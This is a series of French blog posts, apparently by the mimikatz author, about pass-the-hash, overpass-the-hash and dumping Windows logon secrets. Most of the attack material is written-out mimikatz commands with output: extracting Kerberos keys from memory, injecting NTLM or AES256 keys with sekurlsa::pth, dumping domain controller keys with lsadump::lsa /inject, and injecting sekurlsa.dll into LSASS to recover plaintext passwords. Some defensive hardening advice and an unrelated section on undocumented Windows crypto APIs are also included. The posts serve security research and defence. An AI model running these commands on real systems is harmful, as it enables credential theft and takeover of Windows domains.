Overpass-the-hash

A quelques jours du BlackHat et de la Defcon, je profite de ce post pour donner quelques explication sur un petit billet Twitter du mois d’Avril.


(il sera bien entendu abordé la conférence « Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It » avec Skip)

Pass-the-hash

Sous Windows, la technique du « Pass-the-Hash » consiste à s’authentifier sur un serveur en utilisant le hash du mot de passe d’un utilisateur, plutôt que par le mot de passe lui même.

Les bases

Un serveur s’assure de l’identité d’un utilisateur en vérifiant sa connaissance d’un secret qu’ils partagent.
Grossièrement, le serveur envoi au client une données, un challenge, que le client devra chiffrer/hasher/… à partir du secret partagé : cela devient la réponse.
Si le serveur réussi à calculer la même réponse, ou à la déchiffrer à partir de sa connaissance du secret, c’est que le client possède le même secret.

Ces secrets sont sur les DC pour un domaine, sinon ils doivent être partagés dans la SAM locale de chaque serveur.

Les secrets

Contrairement à ce qui pourrait être facilement imaginé, Windows n’utilise pas le mot de passe de l’utilisateur comme secret partagé, mais des dérivés non réversibles : hash LM, NTLM, clés DES, AES…

Selon le protocole utilisé, le secret et les algorithmes utilisés sont différents :

Protocole Algorithme Secret utilisé
LM DES-ECB Hash LM
NTLMv1 DES-ECB Hash NT
NTLMv2 HMAC-MD5 Hash NT

Dans le cas du protocole NTLM, le hash NT dérivé du mot de passe utilisateur est suffisant pour répondre au challenge du serveur.
Le mot de passe utilisateur est, lui, inutile dans sa forme originale.

Overpass-the-hash (pass-the-key)

L’authentification via Kerberos est un tantinet différente. Le client chiffre un timestamp à partir de son secret utilisateur, éventuellement avec des paramètres de realm et un nombre d’itération envoyé du serveur.
Si le secret est le bon, le serveur peut déchiffrer le timestamp (et au passage vérifier que les horloges ne sont pas trop décalés dans le temps).

Protocole Secret (clé) utilisé
Kerberos DES
RC4 = Hash NT!
AES128
AES256

Oui, la clé de type RC4, disponible et activé par défaut de XP à 8.1 reste notre hash NT!

Jouons

Ces clés sont disponibles dans la mémoire du fournisseur Kerberos.
Tout comme le mot de passe utilisateur, ces clés sont d’autant plus présentes qu’un TGT n’a pas encore été obtenu.

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 239946 (00000000:0003a94a)
Session           : Interactive from 1
User Name         : Administrateur
Domain            : CHOCOLATE
SID               : S-1-5-21-130452501-2365100805-3685010670-500

         * Username : Administrateur
         * Domain   : CHOCOLATE.LOCAL
         * Password : (null)
         * Key List :
           aes256_hmac       b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
           aes128_hmac       8451bb37aa6d7ce3d2a5c2d24d317af3
           rc4_hmac_nt       cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old      cc36cf7a8514893efccd332446158b1a
           rc4_md4           cc36cf7a8514893efccd332446158b1a
           rc4_hmac_nt_exp   cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old_exp  cc36cf7a8514893efccd332446158b1a

toutes les clés et mot de passe devraient même totalement disparaitre après l’obtention d’un TGT, puisqu’un TGT est autosuffisant pour se renouveler tout au long de sa durée de vie… – http://www.ietf.org/rfc/rfc4120.txt § 2.3

Et si nous passion le hash ?

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
NTLM    : cc36cf7a8514893efccd332446158b1a
  |  PID  2652
  |  TID  2656
  |  LUID 0 ; 288235 (00000000:000465eb)
  \_ msv1_0   - data copy @ 0000000000311E10 : OK !
  \_ kerberos - data copy @ 000000000035D8D8
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace -> null

Cette fois ci le hash NT a été injecté dans le provider msv1_0 et kerberos, permettant de répondre aux challenges NTLM et d’obtenir un TGT Kerberos…

Mais il est aussi possible de n’utiliser QUE la clé AES si besoin :

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e
670fbe4262d6c94098a9e9
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
AES256  : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
  |  PID  1652
  |  TID  548
  |  LUID 0 ; 411133 (00000000:000645fd)
  \_ msv1_0   - data copy @ 0000000001675F70 : OK !
  \_ kerberos - data copy @ 000000000161E118
   \_ aes256_hmac       OK
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       -> null
   \_ rc4_hmac_old      -> null
   \_ rc4_md4           -> null
   \_ rc4_hmac_nt_exp   -> null
   \_ rc4_hmac_old_exp  -> null
   \_ *Password replace -> null

Cette fois ci, le protocole NTLM ne pourra pas être utilisé, seulement Kerberos avec chiffrement AES256.

Des clés sur le DC

Afin de vérifier toute ces méthodes d’authentification, les DC doivent avoir sous la main de multiples clés pour chaques utilisateurs…
Nous connaissions le hash LM et le hash NT… mais comment obtenir les autres ?

Une nouvelle méthode

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /name:Administrateur /inject
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670

RID  : 000001f4 (500)
User : Administrateur

 * Primary
    LM   :
    NTLM : cc36cf7a8514893efccd332446158b1a

 * WDigest
    01  bd9d09445aec3c116c9c8af35da604f5
    [...]
    29  d96ac7a2022d2ee01f441812e6450139

 * Kerberos
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Credentials
      des_cbc_md5       : f8fd987fa7153185

 * Kerberos-Newer-Keys
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
      aes128_hmac       (4096) : 8451bb37aa6d7ce3d2a5c2d24d317af3
      des_cbc_md5       (4096) : f8fd987fa7153185

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

Cryptographie rapide sous Windows

Comment obtenir un hash MD5 sous Windows, déchiffrer un bloc DES ?

j’ai totalement conscience d’évoquer dans ce post des algorithmes considérés comme dépassés, mais ces derniers sont toujours massivement utilisés dans les mécanismes internes de Windows
mimikatz 2.0 s’en sert lui aussi massivement ;)

Limitations

Les algorithmes évoqués dans ce post sont seulement les suivants :

MD4 LM DES (ECB)
MD5 NTLM RC4
SHA1    

Déjà vu sur Internet *

  • assemblage de bouts de code provenant d’Internet (réimplémentation des algorithmes)
  • utilisation des librairies d’OpenSSL
  • utilisation de la CryptoAPI
  • utilisation de la CNG

* je passe sur l’utilisation de CSP/PKCS#11 pour communiquer avec son HSM préféré ;)

A notre disposition sous Windows

Comme déjà listé, il est possible d’utiliser nativement la CryptoAPI, ou sa nouvelle version la CNG… mais n’est-ce-pas un peu lourd pour de si simples besoins ?

Windows incorpore déjà beaucoup de routines dans ses librairies système et, si l’on en utilise une grande partie via les SDK référençant ces API, l’on en occulte quelques-unes très pratiques !

Une majorité de ces API se situent dans la librairie advapi32.

API clairement identifiées

MD4Init MD5Init A_SHAInit
MD4Update MD5Update A_SHAUpdate
MD4Final MD5Final A_SHAFinal

API derrières SystemFunctionXXX

RtlEncryptDES1block1key SystemFunction001
RtlDecryptDES1block1key SystemFunction002
RtlEncryptDESMagicBlock1key SystemFunction003
RtlEncryptDESblocksECB SystemFunction004
RtlDecryptDESblocksECB SystemFunction005
RtlDigestLM SystemFunction006
RtlDigestNTLM SystemFunction007
RtlLMResponseToChallenge
NTLMv1 aussi sans doute
SystemFunction008
SystemFunction009
RtlDigestMD4only16Bytes SystemFunction010
SystemFunction011
RtlEncryptDES2blocks2keys SystemFunction012
SystemFunction014
SystemFunction020
SystemFunction022
RtlDecryptDES2blocks2keys SystemFunction013
SystemFunction015
SystemFunction021
SystemFunction023
RtlEncryptDES2blocks1key SystemFunction016
SystemFunction018
RtlDecryptDES2blocks1key SystemFunction017
SystemFunction019
RtlEncryptDES2blocks1DWORD SystemFunction024
SystemFunction026
RtlDecryptDES2blocks1DWORD SystemFunction025
SystemFunction027
RtlEqualMemory16Bytes SystemFunction030
SystemFunction031
RtlEncryptDecryptRC4 SystemFunction032
SystemFunction033
RtlCheckSignatureInFile SystemFunction035
Clé de session RPC
fonctions non identiques
SystemFunction028
SystemFunction029
SystemFunction034

Téléchargement

La majorité des API sont référencées via des SystemFunctionXXX qui peuvent déjà être liées par la librairie advapi32.lib du SDK ou WDK.

Malheureusement pas les API A_SHAFinal, A_SHAInit, A_SHAUpdate, MD4Final, MD4Init, MD4Update, MD5Final, MD5Init, MD5Update et RtlCheckSignatureInFile (SystemFunction035).

J’ai donc créé trois fichiers :

Exemple de petit code

Il est là pour exposer l’utilisation du CRYPTO_BUFFER, du MD5, SHA1 et DES-ECB

const BYTE data[] = "my super secret is a kiwi :)";
const BYTE key[] = "42 & 0xdeadbeef of course !";

CRYPTO_BUFFER
	bData    = {sizeof(data) - 1, sizeof(data) - 1, (PBYTE) data}, 
	bKey     = {sizeof(key) - 1, sizeof(key) - 1, (PBYTE) key},
	bCipData = {0, 0, NULL},
	bDecData = {0, 0, NULL}
;

MD5_CTX md5ctxInput, md5ctxOutput; // MD5 digest in context
SHA_CTX shactxInput, shactxOutput;
SHA_DIGEST shaInput, shaOutput;

NTSTATUS status;

MD5Init(&md5ctxInput);
MD5Update(&md5ctxInput, bData.Buffer, bData.Length);
MD5Final(&md5ctxInput);	// original data MD5 hash

A_SHAInit(&shactxInput);
A_SHAUpdate(&shactxInput, bData.Buffer, bData.Length);
A_SHAFinal(&shactxInput, &shaInput); // original data SHA1 hash

status = RtlEncryptDESblocksECB(&bData, &bKey, &bCipData);
if(status == STATUS_BUFFER_TOO_SMALL)
{
	if(bCipData.Buffer = (PBYTE) LocalAlloc(LPTR, bCipData.Length))
	{
		bCipData.MaximumLength = bCipData.Length;
		status = RtlEncryptDESblocksECB(&bData, &bKey, &bCipData);
	}
} else status = STATUS_NONCONTINUABLE_EXCEPTION;

if(NT_SUCCESS(status)) // Cipher operation OK ?
{
	status = RtlDecryptDESblocksECB(&bCipData, &bKey, &bDecData);
	if(status == STATUS_BUFFER_TOO_SMALL)
	{
		if(bDecData.Buffer = (PBYTE) LocalAlloc(LPTR, bDecData.Length))
		{
			bDecData.MaximumLength = bDecData.Length;
			status = RtlDecryptDESblocksECB(&bCipData, &bKey, &bDecData);
		}
	} else status = STATUS_NONCONTINUABLE_EXCEPTION;
} 

if(NT_SUCCESS(status)) // Decipher operation OK ?
{
	MD5Init(&md5ctxOutput);
	MD5Update(&md5ctxOutput, bDecData.Buffer, bDecData.Length);
	MD5Final(&md5ctxOutput); // deciphered data MD5 hash

	A_SHAInit(&shactxOutput);
	A_SHAUpdate(&shactxOutput, bDecData.Buffer, bDecData.Length);
	A_SHAFinal(&shactxOutput, &shaOutput); // deciphered data SHA1 hash
		
	// data compare works too, but it's for expose MD5 & SHA1 functions ;)
	wprintf(L"MD5  match : %s\n",
		RtlEqualMemory(md5ctxInput.digest, md5ctxOutput.digest, MD5_DIGEST_LENGTH) ? L"OK" : L"KO");
	wprintf(L"SHA1 match : %s\n",
		RtlEqualMemory(shaInput.digest, shaOutput.digest, SHA_DIGEST_LENGTH) ? L"OK" : L"KO");
}

LocalFree(bDecData.Buffer);
LocalFree(bCipData.Buffer);

Correction d’un en-tête Windows

Les seules API un tant soit peu présentes dans les en-têtes standards de Windows sont les suivantes :

  • RtlEncryptMemory
  • RtlDecryptMemory
  • RtlGenRandom

Lors de l’utilisation de ces fonctions, avec les fichiers proposés ou non, si les erreurs suivantes apparaissent lors de la création des liens :

error LNK2001: symbole externe non résolu _SystemFunction036
error LNK2001: symbole externe non résolu _SystemFunction040
error LNK2001: symbole externe non résolu _SystemFunction041

C’est que l’en-tête ntsecapi.h déclare incorrectement les prototypes des fonctions.
Il faut malheureusement les corriger :

BOOLEAN
RtlGenRandom(
    __out_bcount(RandomBufferLength) PVOID RandomBuffer,
    __in ULONG RandomBufferLength
    );
//...
NTSTATUS
RtlEncryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

NTSTATUS
RtlDecryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

en rajoutant la convention d’appel WINAPI (__stdcall) :

BOOLEAN WINAPI
RtlGenRandom(
    __out_bcount(RandomBufferLength) PVOID RandomBuffer,
    __in ULONG RandomBufferLength
    );
//...
NTSTATUS WINAPI
RtlEncryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

NTSTATUS WINAPI
RtlDecryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

Re – re – re – pass the pass (word)


homer
Certains tendent le bâton… :(

Fournir aisément à autrui, par ses dires ou son comportement, l’occasion, la raison ou le simple prétexte de se faire blâmer, condamner ou punir.


Après le dernier billet sur « re – re – pass the pass » et…

  • l’absence de réaction (oui, cela a été rapide :)
  • une bonne question

… voici la suite !

Le provider

Cette fois ci nous avons le provider Kerberos ! Son fonctionnement par ticket n’impose normalement pas la réutilisation des mot de passe en clair.
Cf. une explication rapide de Microsoft : http://technet.microsoft.com/en-us/library/bb742516.aspx
kerberos par MS

Ce qui est dommage, c’est qu’une fois de plus des mots de passe sont encore conservés dans la mémoire du processus LSASS (en particulier à partir de NT 6).
mimikatz_vs_kerberos

Téléchargement et fonctionnement

Une mise à jour de mimikatz existe, mais elle n’est toujours pas disponible en téléchargement… (merci à nos amis éditeurs antivirus et Microsoft qui choisis de blacklister plutôt que d’améliorer ses processus)
Plus de release avant fin mai

A exécuter après avoir obtenu des droits administrateurs (ou system) :

privilege::debug
inject::service samss sekurlsa.dll
@getLogonPasswords full

La commande privilege::debug n’est pas obligatoire si vous êtes déjà system.
(plus d’information : http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa#getLogonPasswords et http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa/kerberos)

Nouvelles commandes (si besoin de séparation) :

@getMSV
@getTsPkg
@getWDigest
@getLiveSSP
@getKerberos

@getLogonPasswords utilise les providers disponibles et connus par mimikatz.

Améliorations

  • ne garder que kerberos, msv1_0 et schannel dans la liste des providers autorisés (se référer au billet d’origine sur « pass the pass »)
    Utiliser Kerberos uniquement avec des Tokens et Cartes à puce (sans délégation)
    ils sont essentiels au fonctionnement des services Windows
  • demander à Microsoft la validité de ce mode de fonctionnement avec un minimum de provider (je n’y crois vraiment plus…)

Re – re – pass the pass (word)


maggie_incas
Toute ressemblance avec un billet précédent est malheureusement normale :(
Je ne pense pas que Microsoft change sa philosophie de gestion du SSO dans un avenir très proche…


Après le dernier billet sur « re – pass the pass » et…

  • les réactions positives de certains (Espagnols, Américains, Russes et Chinois)
  • les réactions étranges d’autres : Microsoft & Amplia Security (ça faisait juste quasi un an que je l’avais présenté…)
  • Windows 8 en approche

… voici la suite !

Le provider

Cette fois ci nous avons le provider LiveSSP qui, dans Windows 8, permet de se connecter avec son compte Microsoft Live (avec tout de même un petit cache dans la SAM locale en cas d’indisponibilité d’Internet ou des services Live).

mimikatz_vs_livessp

Remarques :

  • un compte Live est utilisé avec les providers :
    • msv1_0
    • tspkg
    • livessp
  • un compte non Live est utilisé avec les providers :
    • msv1_0
    • wdigest
    • tspkg

Téléchargement et fonctionnement

Une mise à jour de mimikatz existe, mais elle n’est pas encore disponible en téléchargement… (merci à nos amis éditeurs antivirus et Microsoft qui choisis de blacklister plutôt que d’améliorer ses processus)
Plus de release avant fin mai

A exécuter après avoir obtenu des droits administrateurs (ou system) :

privilege::debug
inject::service samss sekurlsa.dll
@getLogonPasswords full

La commande privilege::debug n’est pas obligatoire si vous êtes déjà system.
(plus d’information : http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa#getLogonPasswords et http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa/livessp)

Nouvelles commandes (si besoin de séparation) :

@getMSV
@getTsPkg
@getWDigest
@getLiveSSP

@getLogonPasswords utilise les providers disponibles et connus par mimikatz.

Améliorations

  • ne garder que kerberos, msv1_0 et schannel dans la liste des providers autorisés (se référer au billet d’origine sur « pass the pass »)
    ils sont essentiels au fonctionnement des services Windows
  • demander à Microsoft la validité de ce mode de fonctionnement avec un minimum de provider (je n’y crois vraiment plus…)

Re – pass the pass (word)

Après le dernier billet sur « pass the pass » et…

  • les réactions positives de certains
  • les réactions étranges d’autres
  • une incitation très forte de newsoft à fouiller ma mémoire vive ;)

… voici la suite !

Le provider

Il n’y a pas que le provider TsPkg qui « doit » conserver une copie du mot de passe de session en clair ; le provider WDigest avait le même comportement bien avant l’apparition de TsPkg (et il l’a toujours…)

Problème

Bien que je n’ai jamais rencontré de véritable architecture reposant sur une authentification Digest et n’ayant toujours pas autorisé Windows à conserver mon mot de passe en clair, celui-ci se retrouve encore une fois en mémoire :
mimikatz_vs_wdigest

Téléchargement et fonctionnement

Une mise à jour de mimikatz, toujours en version « alpha », pour l’occasion :

Attention, cette version de mimikatz reste toujours en « alpha »…

A exécuter après avoir obtenu des droits administrateurs (ou system) :

privilege::debug
inject::process lsass.exe sekurlsa.dll
@getLogonPasswords

La commande privilege::debug n’est pas obligatoire si vous êtes déjà system.
(plus d’information : http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa#getLogonPasswords et http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa/wdigest)

Nouvelles commandes (si besoin de séparation) :

@getMSV
@getTsPkg
@getWDigest

@getLogonPasswords utilise les providers disponibles et connus par mimikatz.

Améliorations

  • ne garder que kerberos, msv1_0 et schannel dans la liste des providers autorisés (se référer au billet d’origine sur « pass the pass »)
    ils sont essentiels au fonctionnement des services Windows
  • demander à Microsoft la validité de ce mode de fonctionnement avec un minimum de provider